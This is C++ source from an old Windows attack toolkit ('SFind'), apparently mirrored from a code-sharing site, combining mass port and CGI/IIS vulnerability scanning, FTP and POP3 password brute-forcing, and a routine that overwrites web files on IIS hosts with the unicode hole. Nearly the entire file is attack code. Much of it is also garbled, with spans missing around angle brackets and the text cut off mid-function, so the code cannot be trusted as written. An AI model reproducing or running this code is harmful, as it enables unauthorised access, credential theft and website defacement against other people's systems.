www.pudn.com > SunwFind.zip > UNICODE.CPP
/*
=========SFind command line super tools version 1.9==========
========By Sunw 1999-2001. http://sw_sun.myetang.com=========
*/
#include "afxext.h"
#include "winsock.h"
#include "iostream.h"
#include "fstream.h"
#include "unicode.h"
#include "windows.h"
//函数声明
void plango();//进度显示
bool ResetCursor(int y, int x);//设置光标坐标
UINT cracker(LPVOID pass);//ftp、pop3穷举
void checkiisholetype();//检查扫描iis的漏洞类型
void TestThread(int thread=50);//测试当前线程是否以满
void WaitThreadEnd();//等带线程结束
void usage(char* prog);//帮助信息
int passdigit(int type=0);//字典位数,参数0默认表示a-z,1表示0-9,2表示综合
int uhack(char *ip);//修改unicode漏洞主机的web文件
void ver();//版本信息
UINT ftpanonymous(LPVOID ip);//扫描ftp匿名登陆
UINT cgiscan(LPVOID cgistr);//扫描CGI漏洞
UINT iisscan(LPVOID ip);//扫描iis漏洞
UINT pscan(LPVOID port);//端口扫描
//变量定义
HANDLE hstdout=NULL;
WSADATA wsadata;
ofstream myf("sfind.txt",ios::ate);
HANDLE HMUTEX;
int maxthread=0,ok=0,nub=0,portip,ipstart,ipstop,hoststart,hoststop,plan=0,line=5,searchnumber,searchend=0,digit=1;
short portx;
char strch[14];
char * type,* message,* uhackip,*webpath="c:\\inetpub\\wwwroot",sendbuf[100],checkhole[100],iisholemessage[100],*ftpuser;
bool ptop=false,porttype=false,ftpopt=false,connecterror=false,endx=false;
CWinThread* pthread;
int main(int argc,char *argv[])
{
if (argc<2){usage(argv[0]);return -1;}
type=argv[1];
if (WSAStartup(MAKEWORD(1,1),&wsadata)!=0){cout<<"wsatartup error"<7)
{ ver();
if (htonl(inet_addr(argv[4]))%256==0||htonl(inet_addr(argv[4]))%256==255)
{cout<<"invalidation address."<7)||((argc==4)&&strlen(argv[2])>7&&strlen(argv[3])>7))
{ ver();
porttype=true;
if (argc==3) argv[3]=argv[2];
ipstart=inet_addr(argv[2]);
ipstop=inet_addr(argv[3]);
hoststart=ntohl(ipstart);
hoststop=ntohl(ipstop);
searchnumber=hoststop-hoststart;
}
//自定义端口扫描参数5定义3389 127.0.0.1 127.0.0.255
if (((argc==5)&&(strlen(argv[2])<7)&&(strlen(argv[3]))>7&&(strlen(argv[4])>7))||((argc==4)&&(strlen(argv[2])<7)&&(strlen(argv[3])>7)))
{ ver();
porttype=true;
if (argc==4) argv[4]=argv[3];
ipstart=inet_addr(argv[3]);
ipstop=inet_addr(argv[4]);
hoststart=ntohl(ipstart);
hoststop=ntohl(ipstop);
searchnumber=hoststop-hoststart;
}
for (portip=hoststart;hoststart<=hoststop;hoststart++,portip++,nub++,maxthread++,searchend++,plan++)
{
if ((portip%256)==0) {searchnumber--;nub--; maxthread--;continue;} //略过localhost地址
if ((portip%256)==255) {searchnumber--;nub--;maxthread--;continue;} //略过广播地址
//自定义端口扫描3389 127.0.0.1 127.0.0.255
if (((argc==5)&&(strlen(argv[2])<7)&&(strlen(argv[3]))>7&&(strlen(argv[4])>7))||((argc==4)&&(strlen(argv[2])<7)&&(strlen(argv[3])>7)))
{
TestThread();
CWinThread* pthread=AfxBeginThread(pscan,LPVOID(argv[2]));
Sleep(10);//延时读取ip地址
}
//标准端口扫描-p 127.0.0.1 127.0.0.255
if ((argc==3)&&(strlen(argv[2])>7)||((argc==4)&&strlen(argv[2])>7&&strlen(argv[3])>7))
{
for (portx=0;portx<10;portx++,maxthread++)
{
TestThread();
CWinThread* pthread=AfxBeginThread(pscan,LPVOID(ports[portx]));
Sleep(10); //延时读取ip地址
}
maxthread--;
}
}
if(porttype==false) {usage(argv[0]);return -1;}
WaitThreadEnd();
cout<5) {usage(argv[0]);return -1;}
if (argc==5) {webpath=argv[3];message=argv[4];}
if (argc==4) message=argv[3];
ver();
uhack(argv[2]);
break;
}
//iis漏洞扫描
if (stricmp(type,"-idq")==0||stricmp(type,"-pri")==0||stricmp(type,"-uni")==0||stricmp(type,"-codered")==0)
{
checkiisholetype();
if (argc==3) argv[3]=argv[2];
ver();
ipstart=inet_addr(argv[2]);
ipstop=inet_addr(argv[3]);
hoststart=ntohl(ipstart);
hoststop=ntohl(ipstop);
searchnumber=hoststop-hoststart;
for (portip=hoststart;portip<=hoststop;portip++,nub++,maxthread++,plan++,searchend++)
{ if (plan>=3) {plan=-1;}
if ((portip%256)==0) {searchnumber--;maxthread--;nub--;continue;} //略过localhost地址
if ((portip%256)==255) {searchnumber--;maxthread--;nub--;continue;} //略过广播地址
TestThread();
CWinThread* pthread=AfxBeginThread(iisscan,LPVOID(portip));
}
WaitThreadEnd();
cout<"<<" "<: "< Scan port"< Scan cgi hole"< Scan .printer hole"< Scan unicode hole"< Scan .idq hole"< Scan codered virus host"< [-admin] Ftp default and admin accounts check"< [Web path] Modify web files"<+>");
strcat(mymessage,webpath);
strcat(mymessage,modify[i]);
s=socket(AF_INET,SOCK_STREAM,0);
if (connect(s,(struct sockaddr *)&server,sizeof(server))==SOCKET_ERROR)
{cout<<"connect error"<thread)
{//cout<<"thread"<=3) {plan=-1;}
return;
}
//测试密码位数
int passdigit(int type)
{ //字符进位
if (type==0)
{
if (digit==1&&strch[0]=='z') digit++;
if (digit==2&&strch[0]=='z'&&strch[1]=='z') digit++;
if (digit==3&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z') digit++;
if (digit==4&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z') digit++;
if (digit==5&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z') digit++;
if (digit==6&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z') digit++;
if (digit==7&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z') digit++;
if (digit==8&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z') digit++;
if (digit==9&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z') digit++;
if (digit==10&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z') digit++;
if (digit==11&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z') digit++;
if (digit==12&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z') digit++;
if (digit==13&&strch[0]=='z'&&strch[1]=='z'&&strch[2]=='z'&&strch[3]=='z'&&strch[4]=='z'&&strch[5]=='z'&&strch[6]=='z'&&strch[7]=='z'&&strch[8]=='z'&&strch[9]=='z'&&strch[10]=='z'&&strch[11]=='z'&&strch[12]=='z') digit++;
}
//数字进位
if (type==1)
{
if (digit==1&&strch[0]=='9') digit++;
if (digit==2&&strch[0]=='9'&&strch[1]=='9') digit++;
if (digit==3&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9') digit++;
if (digit==4&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9') digit++;
if (digit==5&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9') digit++;
if (digit==6&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9') digit++;
if (digit==7&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9') digit++;
if (digit==8&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9') digit++;
if (digit==9&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9') digit++;
if (digit==10&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9') digit++;
if (digit==11&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9') digit++;
if (digit==12&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9') digit++;
if (digit==13&&strch[0]=='9'&&strch[1]=='9'&&strch[2]=='9'&&strch[3]=='9'&&strch[4]=='9'&&strch[5]=='9'&&strch[6]=='9'&&strch[7]=='9'&&strch[8]=='9'&&strch[9]=='9'&&strch[10]=='9'&&strch[11]=='9'&&strch[12]=='9') digit++;
}
return 0;
}
//穷举函数
UINT cracker(LPVOID pass)
{
char static *ftppassword=(char*)pass,checkhole1[5],checkhole2[5],checkhole3[5];
char recvbuf[500],ftpsendpass[100],ftpsenduser[100],recvbufpop[500];
SOCKET s;
sockaddr_in server;
server.sin_family=AF_INET;
server.sin_addr.s_addr=inet_addr(uhackip);
if (ftpopt==true)
server.sin_port=htons(21);
else server.sin_port=htons(110);
//显示进度
cout<<"Test: "<<(char *)pass<<"\r";
//设置套接字为非阻塞模式
struct fd_set mask;
struct timeval timeout;
strcpy(ftpsenduser,"user ");
strcat(ftpsenduser,ftpuser);
strcat(ftpsenduser,"\r\n");
strcpy(ftpsendpass,"pass ");
strcat(ftpsendpass,ftppassword);
strcat(ftpsendpass,"\r\n");
s=socket(AF_INET,SOCK_STREAM,0);
if (ftpopt==true)
{
strcpy(checkhole1,"220");
strcpy(checkhole2,"331");
strcpy(checkhole3,"230");
}
else
{
strcpy(checkhole1,"+OK ");
strcpy(checkhole2,"+OK ");
strcpy(checkhole3,"+OK ");
}
if (s==INVALID_SOCKET) {cout<<"Socket() Error"<